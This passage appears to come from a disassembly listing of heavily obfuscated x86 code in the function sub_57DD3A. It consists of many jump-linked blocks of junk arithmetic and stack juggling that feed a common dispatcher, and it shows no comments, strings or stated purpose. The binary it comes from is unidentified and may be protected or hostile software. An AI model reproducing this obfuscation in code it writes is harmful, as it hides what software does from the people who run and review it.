54B2F53h neg eax shr eax, 2 xor eax, 0DBB33FE6h mov esi, eax jmp loc_587145 ; --------------------------------------------------------------------------- loc_5822D7: ; CODE XREF: sub_57DD3A+9390j pop esi push edi mov edi, 4B387622h xor esi, edi pop edi mov ebx, [esp+72h+var_74+2] add esp, 4 and eax, esi mov esi, [esp+6Eh+var_70+2] add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_58BE31 ; --------------------------------------------------------------------------- loc_582301: ; CODE XREF: sub_57DD3A+6C14j and edx, 406E6F79h push 53CBh mov [esp+72h+var_74+2], eax mov eax, 51D212DBh not eax sub eax, 53AE27C0h xor eax, 5A77C370h xor edx, eax pop eax jmp loc_58946E ; --------------------------------------------------------------------------- mov eax, [esp+6Eh+var_70+2] push eax mov eax, esp add eax, 4 push esi mov esi, 6FDC30A9h sub esp, 4 jmp loc_5826B7 ; --------------------------------------------------------------------------- loc_582344: ; CODE XREF: sub_57DD3A+7ADCj pop eax push [esp+76h+var_78+2] pop esi push 24FCh mov [esp+7Ah+var_7C+2], ebp push esp pop ebp jmp loc_582DD2 ; --------------------------------------------------------------------------- loc_582358: ; CODE XREF: sub_57DD3A+B8DFj mov ebx, 4 add eax, ebx pop ebx xor eax, [esp+76h+var_78+2] jmp loc_58DA44 ; --------------------------------------------------------------------------- loc_582368: ; CODE XREF: sub_57DD3A+411Cj and edx, 60315B21h inc edx shl edx, 8 xor edx, 64D02021h add ecx, edx pop edx jmp loc_585C4E ; --------------------------------------------------------------------------- loc_582380: ; CODE XREF: sub_57DD3A+451Bj xchg ebp, [esp+72h+var_74+2] mov esp, [esp+72h+var_74+2] mov [esp+72h+var_74+2], eax jmp loc_5818C9 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+72h+var_74+2] push esi push esp jmp loc_582555 ; --------------------------------------------------------------------------- loc_582399: ; CODE XREF: sub_57DD3A+649Ej mov esp, [esp+7Ah+var_7C+2] xor ecx, 26DB6D8Ah push ebp jmp loc_582CF0 ; --------------------------------------------------------------------------- loc_5823A8: ; CODE XREF: sub_57DD3A+6B31j push 6535h jmp loc_581A5A ; --------------------------------------------------------------------------- loc_5823B2: ; CODE XREF: sub_57DD3A+9961j xchg ecx, edi push eax push 66Fh mov [esp+8Ah+var_8C+2], edi mov eax, [esp+8Ah+var_8C+2] push ebx jmp loc_587E2E ; --------------------------------------------------------------------------- loc_5823C6: ; CODE XREF: sub_57DD3A+48E7j mov ebx, 90692096h sub ebp, ebx pop ebx sub esi, ebp jmp loc_586A2D ; --------------------------------------------------------------------------- loc_5823D5: ; CODE XREF: sub_57DD3A+E6D1j mov eax, 6EDB1039h jmp loc_5886B0 ; --------------------------------------------------------------------------- loc_5823DF: ; CODE XREF: sub_57DD3A+AB62j xor al, bh pop ebx push 2B8Dh mov [esp+8Ah+var_8C+2], eax mov ah, 7Ch add bl, 0EBh sub bl, ah sub bl, 0EBh jmp loc_583D05 ; --------------------------------------------------------------------------- loc_5823F9: ; CODE XREF: sub_57DD3A+D4EBj mov esi, 4 mov ebx, esi pop esi jmp loc_582829 ; --------------------------------------------------------------------------- loc_582406: ; CODE XREF: sub_57DD3A+C169j push ecx mov ch, 0F4h not ch shr ch, 1 sub ch, 0 neg ch jmp loc_58B81E ; --------------------------------------------------------------------------- loc_582417: ; CODE XREF: sub_57DD3A+4DF1j xchg edi, [esp+8Ah+var_8C+2] pop esp add bl, al add bl, 37h sub bl, 9Fh push ebx push eax push 51BD4ECAh jmp loc_58BC3B ; --------------------------------------------------------------------------- loc_58242F: ; CODE XREF: sub_57DD3A+75EFj add esp, 4 add ebx, 413F38C0h sub ebx, eax push ebp mov ebp, 751C277Ah add ebp, 65B2729Eh push ebp not [esp+96h+var_98+2] jmp loc_584707 ; --------------------------------------------------------------------------- loc_582452: ; CODE XREF: sub_57DD3A+D4ADj add eax, ebp pop ebp push 15A7h mov [esp+96h+var_98+2], edi mov edi, 58DA3D44h add edi, 0DE43DF77h add eax, edi mov edi, [esp+96h+var_98+2] add esp, 4 jmp loc_58C773 ; --------------------------------------------------------------------------- loc_582478: ; CODE XREF: sub_57DD3A+8005j pop ebx add ecx, 0A9F3BABCh add eax, ecx pop ecx push 768h mov [esp+8Eh+var_90+2], esi mov esi, 2 add eax, esi jmp loc_58688D ; --------------------------------------------------------------------------- loc_582496: ; CODE XREF: sub_57DD3A+CDE5j add al, 82h push ecx mov ch, 89h neg ch shr ch, 7 and ch, 5Ch or ch, 24h or ch, 0AAh push ebx jmp loc_58A7B0 ; --------------------------------------------------------------------------- loc_5824AF: ; CODE XREF: sub_57DD3A+D80Dj push [esp+96h+var_98+2] jmp loc_583508 ; --------------------------------------------------------------------------- loc_5824B7: ; CODE XREF: sub_57DD3A+9355j mov ebp, esp jmp loc_582859 ; --------------------------------------------------------------------------- loc_5824BE: ; CODE XREF: sub_57DD3A+E824j push eax mov eax, esp jmp loc_581B94 ; --------------------------------------------------------------------------- push [esp+9Eh+var_A0+2] pop eax sub esp, 4 mov [esp+0A2h+var_A4+2], eax push esp jmp loc_58C106 ; --------------------------------------------------------------------------- loc_5824D6: ; CODE XREF: sub_57DD3A+AB05j pop esp jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5824DC: ; CODE XREF: sub_57DD3A+4BBDj pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+9Eh+var_A0+2] pop esp push ebp mov ebp, 316A151Ah push eax mov eax, 316A151Eh xor ebp, eax jmp loc_583131 ; --------------------------------------------------------------------------- loc_5824FD: ; CODE XREF: sub_57DD3A+FA4Ej push ebp mov ebp, 60882696h jmp loc_58A964 ; --------------------------------------------------------------------------- loc_582508: ; CODE XREF: sub_57DD3A+F75Aj push ecx mov ecx, esp jmp loc_588BB6 ; --------------------------------------------------------------------------- loc_582510: ; CODE XREF: sub_57DD3A+9AC1j push small word ptr [eax] jmp loc_58CFD9 ; --------------------------------------------------------------------------- loc_582518: ; CODE XREF: sub_57DD3A+7A50j push [esp+0ACh+var_A8] pop eax jmp loc_583604 ; --------------------------------------------------------------------------- loc_582522: ; CODE XREF: sub_57DD3A+544Aj pop eax jmp loc_589698 ; --------------------------------------------------------------------------- loc_582528: ; CODE XREF: sub_57DD3A+AC00j xchg edi, ebp pop edi push eax jmp loc_5862A1 ; --------------------------------------------------------------------------- loc_582531: ; CODE XREF: sub_57DD3A+57ADj mov edx, 4 add edi, edx jmp loc_5858F1 ; --------------------------------------------------------------------------- loc_58253D: ; CODE XREF: sub_57DD3A+BBCCj push 5C0Ch jmp loc_58DDCD ; --------------------------------------------------------------------------- loc_582547: ; CODE XREF: sub_57DD3A+F603j mov ax, word ptr [esp+0ACh+var_AC] add esp, 2 not dl jmp loc_584F69 ; --------------------------------------------------------------------------- loc_582555: ; CODE XREF: sub_57DD3A+465Aj pop esi jmp loc_5831A1 ; --------------------------------------------------------------------------- loc_58255B: ; CODE XREF: sub_57DD3A+A14Ej push dword ptr [edi+eax*4] sub esp, 4 mov [esp+7Eh+var_80+2], ebx mov ebx, 23656316h xor [esp+7Eh+var_7C+2], ebx pop ebx push [esp+7Ah+var_7C+2] pop eax add esp, 4 push 7C12h mov [esp+7Ah+var_7C+2], ebx push edi mov edi, 5DC06DBh mov ebx, 26B965CDh xor ebx, edi mov edi, [esp+7Eh+var_80+2] add esp, 4 xor eax, ebx push [esp+7Ah+var_7C+2] mov ebx, [esp+7Eh+var_80+2] add esp, 4 add esp, 4 movzx ax, byte ptr [eax] push small 1898h mov word ptr [esp+78h+var_78], ax jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5825B5: ; CODE XREF: sub_57DD3A+B7FFj pop ebp jmp loc_585D44 ; --------------------------------------------------------------------------- loc_5825BB: ; CODE XREF: sub_57DD3A+9068j not edi sub edi, 18AA7C84h add edi, 0B5A91A9h sub eax, edi jmp loc_584CE2 ; --------------------------------------------------------------------------- loc_5825D0: ; CODE XREF: sub_57DD3A+58A9j push 3C8Bh mov [esp+78h+var_78], esi mov esi, 547D0372h jmp loc_588204 ; --------------------------------------------------------------------------- loc_5825E2: ; CODE XREF: sub_57DD3A+C61Aj sub eax, 7E2E79D5h pop ecx push 5EF9h mov [esp+78h+var_78], esi jmp loc_58D038 ; --------------------------------------------------------------------------- loc_5825F5: ; CODE XREF: sub_57DD3A+6BEEj xor [esp+78h+var_78], ecx jmp loc_58D63D ; --------------------------------------------------------------------------- loc_5825FD: ; CODE XREF: sub_57DD3A+3FA2j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_582602: ; CODE XREF: sub_57DD3A+9613j pop edi xchg ecx, [esp+8Ch+var_8C] mov esp, [esp+8Ch+var_8C] jmp loc_584882 ; --------------------------------------------------------------------------- loc_58260E: ; CODE XREF: sub_57DD3A+FF78j xor eax, esi push [esp+8Ch+var_8C] jmp loc_584962 ; --------------------------------------------------------------------------- loc_582618: ; CODE XREF: sub_57DD3A+5340j shr ecx, 6 jmp loc_582BFA ; --------------------------------------------------------------------------- loc_582620: ; CODE XREF: sub_57DD3A+4D33j push ebx jmp loc_5823C6 ; --------------------------------------------------------------------------- loc_582626: ; CODE XREF: sub_57DD3A+FF64j mov [esp+94h+var_94], ecx mov ch, al jmp loc_58CD05 ; --------------------------------------------------------------------------- loc_582630: ; CODE XREF: sub_57DD3A+E23Aj shl edx, 2 sub edx, 253FAA22h add ecx, edx mov edx, [esp+94h+var_94] add esp, 4 sub esp, 4 mov [esp+94h+var_94], eax mov eax, 544D1E2Fh or eax, 1E9B45E7h sub eax, 0FFFFFFFFh sub eax, 44EEF687h jmp loc_58A80C ; --------------------------------------------------------------------------- loc_582666: ; CODE XREF: sub_57DD3A+58C0j mov ebp, 6DD802F4h add [esp+94h+var_90], ebp jmp loc_58199F ; --------------------------------------------------------------------------- loc_582674: ; CODE XREF: sub_57DD3A+5D08j add al, ch pop ecx add al, cl sub al, 2Ah add al, 0Eh sub al, 82h pop cx sub bl, 94h add bl, 6 sub bl, 3 jmp loc_584826 ; --------------------------------------------------------------------------- loc_58268F: ; CODE XREF: sub_57DD3A+E344j sub edi, 456A5989h pop edx add edi, 4 xor edi, [esp+8Ah+var_8C+2] xor [esp+8Ah+var_8C+2], edi jmp loc_58DE36 ; --------------------------------------------------------------------------- loc_5826A4: ; CODE XREF: sub_57DD3A+8784j push ecx mov ecx, 188D71D5h neg ecx and ecx, 20A56D28h jmp loc_587F36 ; --------------------------------------------------------------------------- loc_5826B7: ; CODE XREF: sub_57DD3A+4605j mov [esp+7Ah+var_7C+2], ebx jmp loc_587C17 ; --------------------------------------------------------------------------- loc_5826BF: ; CODE XREF: sub_57DD3A+8F9Bj sub esp, 4 jmp loc_589386 ; --------------------------------------------------------------------------- loc_5826C7: ; CODE XREF: sub_57DD3A+1027Cj mov edx, [esp+7Eh+var_80+2] add esp, 4 add edx, 4 push edi push ecx mov ecx, 2FF34B6Bh mov edi, 0D00CB499h jmp loc_5880F9 ; --------------------------------------------------------------------------- loc_5826E7: ; CODE XREF: sub_57DD3A+9E69j mov dh, 9 sub bl, dh jmp loc_5845AF ; --------------------------------------------------------------------------- loc_5826F0: ; CODE XREF: sub_57DD3A+F63Bj pop [esp+82h+var_84+2] pop esp push 6126h mov [esp+7Eh+var_80+2], ebx push 3829h mov [esp+82h+var_84+2], ecx push ebx push ecx mov cl, 2Fh mov bl, cl pop ecx jmp loc_58C2E4 ; --------------------------------------------------------------------------- loc_582710: ; CODE XREF: sub_57DD3A+9AA8j mov [esp+86h+var_88+2], ebx jmp loc_58D08E ; --------------------------------------------------------------------------- loc_582718: ; CODE XREF: sub_57DD3A+87CFj push ebx push 26676DF0h pop ebx jmp loc_58548F ; --------------------------------------------------------------------------- loc_582724: ; CODE XREF: sub_57DD3A+F076j push ebx mov ebx, esp sub esp, 4 mov [esp+92h+var_94+2], eax mov eax, 29C6326Dh shl eax, 4 push edx jmp loc_58DD66 ; --------------------------------------------------------------------------- loc_58273E: ; CODE XREF: sub_57DD3A+D48Ej push ebx push ecx mov cl, 8Fh jmp loc_5895C0 ; --------------------------------------------------------------------------- loc_582747: ; CODE XREF: sub_57DD3A+8528j push 1 pop edx push 149Dh mov [esp+0A2h+var_A4+2], ecx mov ecx, 24h add ecx, edi push eax mov eax, 2012162Ch add eax, 0DFEDE9D4h add eax, ecx add [eax], edx pop eax mov ecx, [esp+0A2h+var_A4+2] jmp loc_58469E ; --------------------------------------------------------------------------- loc_582774: ; CODE XREF: sub_57DD3A+D1E5j xor [esp+0A2h+var_A4+2], esi xor esi, [esp+0A2h+var_A4+2] pop esp sub esp, 4 mov [esp+0A2h+var_A4+2], ebp mov ebp, esp push eax mov eax, 4 jmp loc_5880E9 ; --------------------------------------------------------------------------- loc_58278E: ; CODE XREF: sub_57DD3A+6767j push edx push ebp mov ebp, 8CF0FE0h neg ebp sub ebp, 7363EE90h push ebp pop edx pop ebp push edx pop ebp mov edx, [esp+0AAh+var_AC+2] jmp loc_58D551 ; --------------------------------------------------------------------------- loc_5827AA: ; CODE XREF: sub_57DD3A+7AA0j push edx add [esp+0AEh+var_B0+2], 1 pop edx jmp loc_58DCA3 ; --------------------------------------------------------------------------- loc_5827B5: ; CODE XREF: sub_57DD3A+5846j mov [esp+0AAh+var_AC+2], esp jmp loc_581FFC ; --------------------------------------------------------------------------- loc_5827BD: ; CODE XREF: sub_57DD3A+AE37j or ecx, 6BB2D41h add ecx, 0CDD4FEh jmp loc_58D237 ; --------------------------------------------------------------------------- loc_5827CE: ; CODE XREF: sub_57DD3A+7AB8j push bx mov bl, 5Eh add ch, bl jmp loc_589C83 ; --------------------------------------------------------------------------- loc_5827D9: ; CODE XREF: sub_57DD3A+DC73j push esi push 42DFh mov [esp+0B4h+var_B4], esp add [esp+0B4h+var_B4], 4 jmp loc_5832E7 ; --------------------------------------------------------------------------- loc_5827EE: ; CODE XREF: sub_57DD3A+C2A3j xor ecx, 3D9E60CFh sub ebx, ecx pop ecx sub ebx, ebp add ebx, 355E449Ah jmp loc_58DB0A ; --------------------------------------------------------------------------- loc_582804: ; CODE XREF: sub_57DD3A+86F8j dec bl mov dl, bl pop bx push ecx jmp loc_586F0E ; --------------------------------------------------------------------------- loc_582810: ; CODE XREF: sub_57DD3A+E133j push esi mov esi, 13840480h jmp loc_5843A9 ; --------------------------------------------------------------------------- loc_58281B: ; CODE XREF: sub_57DD3A+6FA3j push ebp jmp loc_583CC8 ; --------------------------------------------------------------------------- loc_582821: ; CODE XREF: sub_57DD3A+B614j mov [esp+0BAh+var_BC+2], edx jmp loc_58941D ; --------------------------------------------------------------------------- loc_582829: ; CODE XREF: sub_57DD3A+46C7j add eax, ebx pop ebx xchg eax, [esp+82h+var_84+2] pop esp jmp loc_58A1AB ; --------------------------------------------------------------------------- loc_582835: ; CODE XREF: sub_57DD3A+F055j push ax mov ah, ch jmp loc_58A7BD ; --------------------------------------------------------------------------- loc_58283E: ; CODE XREF: sub_57DD3A+4109j xchg esi, [esp+86h+var_88+2] pop esp push ebp mov ebp, 2 add ebx, ebp pop ebp xor ebx, [esp+82h+var_84+2] xor [esp+82h+var_84+2], ebx xor ebx, [esp+82h+var_84+2] jmp loc_581CD5 ; --------------------------------------------------------------------------- loc_582859: ; CODE XREF: sub_57DD3A+477Fj add ebp, 4 add ebp, 4 xchg ebp, [esp+9Ah+var_9C+2] pop esp jmp loc_587366 ; --------------------------------------------------------------------------- loc_58286E: ; CODE XREF: sub_57DD3A+EFF6j add esp, 4 jmp loc_58CC17 ; --------------------------------------------------------------------------- loc_582876: ; CODE XREF: sub_57DD3A+9E11j sub esi, eax pop eax jmp loc_581933 ; --------------------------------------------------------------------------- loc_58287E: ; CODE XREF: sub_57DD3A+DA26j push esi push esp jmp loc_585CAE ; --------------------------------------------------------------------------- loc_582885: ; CODE XREF: sub_57DD3A+BC91j push eax mov eax, 4 jmp loc_58DF9E ; --------------------------------------------------------------------------- loc_582890: ; CODE XREF: sub_57DD3A+695Fj mov eax, 1 add ebp, eax jmp loc_588E1E ; --------------------------------------------------------------------------- loc_58289C: ; CODE XREF: sub_57DD3A+EB71j mov [esp+9Ah+var_9C+2], ebp push 28CFh mov [esp+9Eh+var_A0+2], edi push 22D27368h pop edi push ebp push eax jmp loc_582E7A ; --------------------------------------------------------------------------- loc_5828B4: ; CODE XREF: sub_57DD3A+F597j push ebx mov ebx, 754C4AC5h mov ecx, 7A65046Dh xor ecx, ebx mov ebx, [esp+0AAh+var_AC+2] add esp, 4 neg ecx sub ecx, 0FFFFFFFFh xor ecx, 999D8C5Fh sub eax, ecx mov ecx, [esp+0A6h+var_A8+2] add esp, 4 add eax, 7C361E58h add eax, 0BD26722h jmp loc_5830A6 ; --------------------------------------------------------------------------- loc_5828EF: ; CODE XREF: sub_57DD3A+93BFj mov ebp, ecx jmp loc_58AB7F ; --------------------------------------------------------------------------- loc_5828F6: ; CODE XREF: sub_57DD3A+C14Fj push esp jmp loc_5824DC ; --------------------------------------------------------------------------- loc_5828FC: ; CODE XREF: sub_57DD3A+EF7Cj add al, bh sub al, 35h add al, 64h jmp loc_58B7FB ; --------------------------------------------------------------------------- loc_582907: ; CODE XREF: sub_57DD3A+ABA3j mov dh, bh mov ch, dh pop edx pop ebx add bl, 85h add bl, ch push eax jmp loc_5866B2 ; --------------------------------------------------------------------------- neg word ptr [esp+0A2h+var_A4+2] pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_582922: ; CODE XREF: sub_57DD3A+5029j mov [esp+0A6h+var_A8+2], esi push [esp+0A6h+var_A4+2] pop esi pop [esp+0A6h+var_A8+2] pop esp jmp loc_589573 ; --------------------------------------------------------------------------- loc_582933: ; CODE XREF: sub_57DD3A+453Bj sub eax, esi add eax, 541712BBh sub eax, 1B361EB7h jmp loc_583BC5 ; --------------------------------------------------------------------------- loc_582944: ; CODE XREF: sub_57DD3A+95BDj sub si, ax xchg ax, si pop si sub ax, 0BAA9h mov dx, ax pop eax xor dx, 782Eh add bx, dx mov edx, [esp+6Ch+var_6C] add esp, 4 jmp loc_58CD85 ; --------------------------------------------------------------------------- loc_582966: ; CODE XREF: sub_57DD3A+4D51j mov bh, 91h and bh, 17h sub bh, 0CAh neg bh neg bh add bh, 0E2h jmp loc_5868CE ; --------------------------------------------------------------------------- loc_58297A: ; CODE XREF: sub_57DD3A+7F08j xor bl, 0Ch add al, bl pop ebx jmp loc_585CC6 ; --------------------------------------------------------------------------- loc_582985: ; CODE XREF: sub_57DD3A+DD2Ej pop [esp+64h+var_64] push esi push 4 mov esi, [esp+68h+var_68] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+6Ch+var_6C] pop esp sub [esp+68h+var_64], 7A0845ECh jmp loc_58700F ; --------------------------------------------------------------------------- loc_5829B1: ; CODE XREF: sub_57DD3A+71EEj sub edx, ebp jmp loc_58C92D ; --------------------------------------------------------------------------- loc_5829B8: ; CODE XREF: sub_57DD3A+A79Fj sub esi, 645E6B85h shl esi, 2 sub esi, 6FD672AAh mov ebx, esi pop esi mov ecx, ebx mov ebx, [esp+64h+var_64] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58862D ; --------------------------------------------------------------------------- loc_5829E0: ; CODE XREF: sub_57DD3A+DC00j xor [esp+68h+var_68], ebx xor ebx, [esp+68h+var_68] jmp loc_58B338 ; --------------------------------------------------------------------------- loc_5829EB: ; CODE XREF: sub_57DD3A+5DC9j pop [esp+68h+var_68] not ebx push ebx push [esp+68h+var_64] pop ebx pop [esp+68h+var_68] mov esi, [esp+64h+var_64] jmp loc_586A52 ; --------------------------------------------------------------------------- loc_582A01: ; CODE XREF: sub_57DD3A+C368j pop esp mov [esp+60h+var_60], ebx push esp jmp loc_58BB0B ; --------------------------------------------------------------------------- loc_582A0B: ; CODE XREF: sub_57DD3A+AE77j pop esi jmp loc_58AB9B ; --------------------------------------------------------------------------- loc_582A11: ; CODE XREF: sub_57DD3A+7C09j push ebx push ebp mov ebp, 797A3AB3h mov ebx, 0D09E9E16h sub ebx, ebp pop ebp xor ebx, 517877BEh mov ebp, ebx pop ebx push ebx jmp loc_582180 ; --------------------------------------------------------------------------- push [esp+64h+var_64] pop eax push 62F0h mov [esp+68h+var_68], ecx mov ecx, esp jmp loc_587689 ; --------------------------------------------------------------------------- loc_582A42: ; CODE XREF: sub_57DD3A+C4DEj not edi xor edi, 0C0FBA33Fh add eax, edi pop edi add eax, edi sub eax, 0A2B2161h pop edi push ebx mov ebx, 2 add eax, ebx pop ebx xchg eax, [esp+60h+var_60] jmp loc_586367 ; --------------------------------------------------------------------------- loc_582A66: ; CODE XREF: sub_57DD3A+FBEDj mov ebp, 430F6366h neg ebp jmp loc_582620 ; --------------------------------------------------------------------------- loc_582A72: ; CODE XREF: sub_57DD3A+638Bj push edx mov edx, 288B0C4Bh sub edx, 1A79407Ch push 0 jmp loc_58CDB5 ; --------------------------------------------------------------------------- loc_582A88: ; CODE XREF: sub_57DD3A+CF10j neg dl push ebx jmp loc_582966 ; --------------------------------------------------------------------------- loc_582A90: ; CODE XREF: sub_57DD3A+C6B0j mov eax, esp jmp loc_585584 ; --------------------------------------------------------------------------- loc_582A97: ; CODE XREF: sub_57DD3A+713Ej neg edi xor edi, 15D25EEDh add edi, 35883015h jmp loc_5882A8 ; --------------------------------------------------------------------------- loc_582AAA: ; CODE XREF: sub_57DD3A+6957j pop edx jmp loc_58B43E ; --------------------------------------------------------------------------- loc_582AB0: ; CODE XREF: sub_57DD3A+80CDj sub edi, ecx pop ecx add ecx, edi pop edi pop esi push ebx mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp+5Ch+var_5C] jmp loc_586798 ; --------------------------------------------------------------------------- loc_582AC8: ; CODE XREF: sub_57DD3A+6C47j xchg ebx, [esp+5Ch+var_5C] pop esp sub eax, edx jmp loc_5895A7 ; --------------------------------------------------------------------------- loc_582AD3: ; CODE XREF: sub_57DD3A+A2F8j mov edi, [esp+58h+var_58] add esp, 4 push ecx mov ecx, 10ED267Dh xor ecx, 0F3E1142h shr ecx, 7 sub ecx, 3FA66Ah add edi, ecx mov ecx, [esp+58h+var_58] sub esp, 4 jmp loc_58C69E ; --------------------------------------------------------------------------- loc_582B01: ; CODE XREF: sub_57DD3A+7D4Ej push eax mov eax, 6A951B9Eh dec eax xor eax, 6CC087Ch jmp loc_581D8E ; --------------------------------------------------------------------------- loc_582B12: ; CODE XREF: sub_57DD3A+B85Aj shr al, 5 xor al, 31h sub bl, al mov eax, [esp+60h+var_60] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_582417 ; --------------------------------------------------------------------------- loc_582B30: ; CODE XREF: sub_57DD3A+6805j mov esi, [esp+64h+var_64] jmp loc_5855A5 ; --------------------------------------------------------------------------- loc_582B38: ; CODE XREF: sub_57DD3A+AC5Dj push eax pushf jmp loc_587BC8 ; --------------------------------------------------------------------------- loc_582B3F: ; CODE XREF: sub_57DD3A+3CB9j shl eax, 6 xor eax, 0E4775444h add ecx, eax pop eax sub ecx, 4 xchg ecx, [esp+5Ah+var_5C+2] mov esp, [esp+5Ah+var_5C+2] mov [esp+5Ah+var_5C+2], ebp jmp loc_5846FD ; --------------------------------------------------------------------------- loc_582B5E: ; CODE XREF: sub_57DD3A+E4DDj mov ebx, [esp+5Ah+var_5C+2] add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+5Ah+var_5C+2] pop esp sub bl, cl pop cx jmp loc_5844A6 ; --------------------------------------------------------------------------- loc_582B7D: ; CODE XREF: sub_57DD3A+CE49j xor ebp, 54B153B4h jmp loc_58C911 ; --------------------------------------------------------------------------- loc_582B88: ; CODE XREF: sub_57DD3A+D582j xchg eax, [esp+54h+var_54] jmp loc_589F4E ; --------------------------------------------------------------------------- loc_582B90: ; CODE XREF: sub_57DD3A+5A39j pop esp cmp ecx, eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_582B99: ; CODE XREF: sub_57DD3A+7C9Dj push 131Dh mov [esp+58h+var_58], ebx mov ebx, 1 sub edx, 180D1FDEh add edx, ebx add edx, 180D1FDEh pop ebx push edi jmp loc_585AF5 ; --------------------------------------------------------------------------- loc_582BBB: ; CODE XREF: sub_57DD3A+A1EBj pop ebp pop edx jmp loc_58909F ; --------------------------------------------------------------------------- mov ax, word ptr [esp+50h+var_50] push esi mov esi, esp add esi, 4 push ecx mov ecx, esp add ecx, 4 push edx push ecx mov ecx, 4AA242BCh mov edx, 79E4643Dh sub edx, ecx pop ecx xor edx, 3ED87F95h xor edx, 119A5E10h sub ecx, edx jmp loc_585E7F ; --------------------------------------------------------------------------- loc_582BFA: ; CODE XREF: sub_57DD3A+48E1j push eax mov eax, 695061BFh xor eax, 51804DE8h sub ecx, eax pop eax add ecx, 4B4803E1h sub ecx, 14C0168Ah add ebx, ecx pop ecx add ebx, 4 jmp loc_5865D8 ; --------------------------------------------------------------------------- loc_582C1F: ; CODE XREF: sub_57DD3A+AAE8j push 76CFh mov [esp+90h+var_90], edi mov edi, esp jmp loc_58A9AC ; --------------------------------------------------------------------------- loc_582C2E: ; CODE XREF: sub_57DD3A+D239j mov ecx, 1D823D19h not ecx jmp loc_588B65 ; --------------------------------------------------------------------------- loc_582C3A: ; CODE XREF: sub_57DD3A+875Bj mov ebp, 19901165h jmp loc_582EC6 ; --------------------------------------------------------------------------- mov esp, [esp+90h+var_90] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_582C4C: ; CODE XREF: sub_57DD3A+CCC8j mov edx, 389456B1h sub eax, 12315C4Ch add eax, edx jmp loc_584399 ; --------------------------------------------------------------------------- loc_582C5D: ; CODE XREF: sub_57DD3A+7581j add esp, 4 sub edx, eax push esi mov esi, 0C1829A3h add edx, esi pop esi jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_582C70: ; CODE XREF: sub_57DD3A+93EEj push 23A7h mov [esp+90h+var_90], edi push edx jmp loc_58B3CB ; --------------------------------------------------------------------------- loc_582C7E: ; CODE XREF: sub_57DD3A+ECBDj mov esi, 64386DE2h shr esi, 2 not esi dec esi inc esi sub esi, 0E6F1E483h sub ebx, esi pop esi xor ebx, [esp+90h+var_90] jmp loc_585A49 ; --------------------------------------------------------------------------- loc_582C9B: ; CODE XREF: sub_57DD3A+832Ej push edx mov dl, bl mov [edi+eax*4+1], dl pop edx push [esp+90h+var_90] jmp loc_588D7A ; --------------------------------------------------------------------------- loc_582CAB: ; CODE XREF: sub_57DD3A+CA5Aj mov [esp+94h+var_94], ebx mov ebx, esp push 3BE1h mov [esp+98h+var_98], ecx push ebx mov ebx, 6E633E2Ah mov ecx, 0C27C5A82h sub ecx, ebx mov ebx, [esp+9Ch+var_9C] add esp, 4 push ecx xchg ebx, [esp+9Ch+var_9C] jmp loc_582DEC ; --------------------------------------------------------------------------- loc_582CD4: ; CODE XREF: sub_57DD3A+C43Ej sub esp, 4 mov [esp+0A0h+var_A0], ebx push ebp mov ebp, 3C9649F3h mov ebx, ebp jmp loc_584491 ; --------------------------------------------------------------------------- loc_582CEA: ; CODE XREF: sub_57DD3A+7886j push ebp jmp loc_58CB48 ; --------------------------------------------------------------------------- loc_582CF0: ; CODE XREF: sub_57DD3A+4669j push ecx push eax mov eax, 4A026BDDh mov ecx, eax mov eax, [esp+86h+var_88+2] push ecx mov ecx, esp add ecx, 4 push eax mov eax, 4EEA3BD8h dec eax not eax jmp loc_58CC68 ; --------------------------------------------------------------------------- loc_582D13: ; CODE XREF: sub_57DD3A+F399j xchg edi, [esp+8Eh+var_90+2] mov esp, [esp+8Eh+var_90+2] shl word ptr [esp+8Eh+var_90+2], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_582D23: ; CODE XREF: sub_57DD3A+8F2Fj pop esp mov [esp+8Eh+var_90+2], eax mov eax, 2 add edx, 3E8747E7h add edx, eax sub edx, 3E8747E7h push [esp+8Eh+var_90+2] jmp loc_58908E ; --------------------------------------------------------------------------- loc_582D42: ; CODE XREF: sub_57DD3A+6AC5j inc eax jmp loc_58DCD4 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+92h+var_94+2] push 37DAh jmp loc_581BF5 ; --------------------------------------------------------------------------- loc_582D56: ; CODE XREF: sub_57DD3A+F777j add edi, 4 sub edi, 4 xchg edi, [esp+96h+var_98+2] pop esp jmp loc_582922 ; --------------------------------------------------------------------------- loc_582D68: ; CODE XREF: sub_57DD3A+BF39j push edx jmp loc_58C22D ; --------------------------------------------------------------------------- loc_582D6E: ; CODE XREF: sub_57DD3A+8292j pop [esp+96h+var_98+2] mov esp, [esp+92h+var_94+2] add ecx, 4 jmp loc_586D1E ; --------------------------------------------------------------------------- loc_582D7F: ; CODE XREF: sub_57DD3A+C26Bj inc esi sub esi, 70F767FBh shr esi, 7 and esi, 14DB7200h jmp loc_58A872 ; --------------------------------------------------------------------------- loc_582D94: ; CODE XREF: sub_57DD3A+7B68j sub ebp, eax sub ebp, 0F935E9Ah pop eax jmp loc_584C37 ; --------------------------------------------------------------------------- loc_582DA2: ; CODE XREF: sub_57DD3A+6E79j pop edx sub eax, 4 push eax push [esp+8Eh+var_8C+2] mov eax, [esp+92h+var_94+2] add esp, 4 pop [esp+8Eh+var_90+2] jmp loc_58A79F ; --------------------------------------------------------------------------- loc_582DB9: ; CODE XREF: sub_57DD3A+6224j sub esp, 4 mov [esp+8Eh+var_90+2], esi mov esi, ebx jmp loc_58198E ; --------------------------------------------------------------------------- loc_582DC6: ; CODE XREF: sub_57DD3A+590Ej mov eax, 3D00177Fh xor edx, eax jmp loc_58C9A2 ; --------------------------------------------------------------------------- loc_582DD2: ; CODE XREF: sub_57DD3A+4619j add ebp, 4 jmp loc_58A154 ; --------------------------------------------------------------------------- loc_582DDD: ; CODE XREF: sub_57DD3A+3E55j 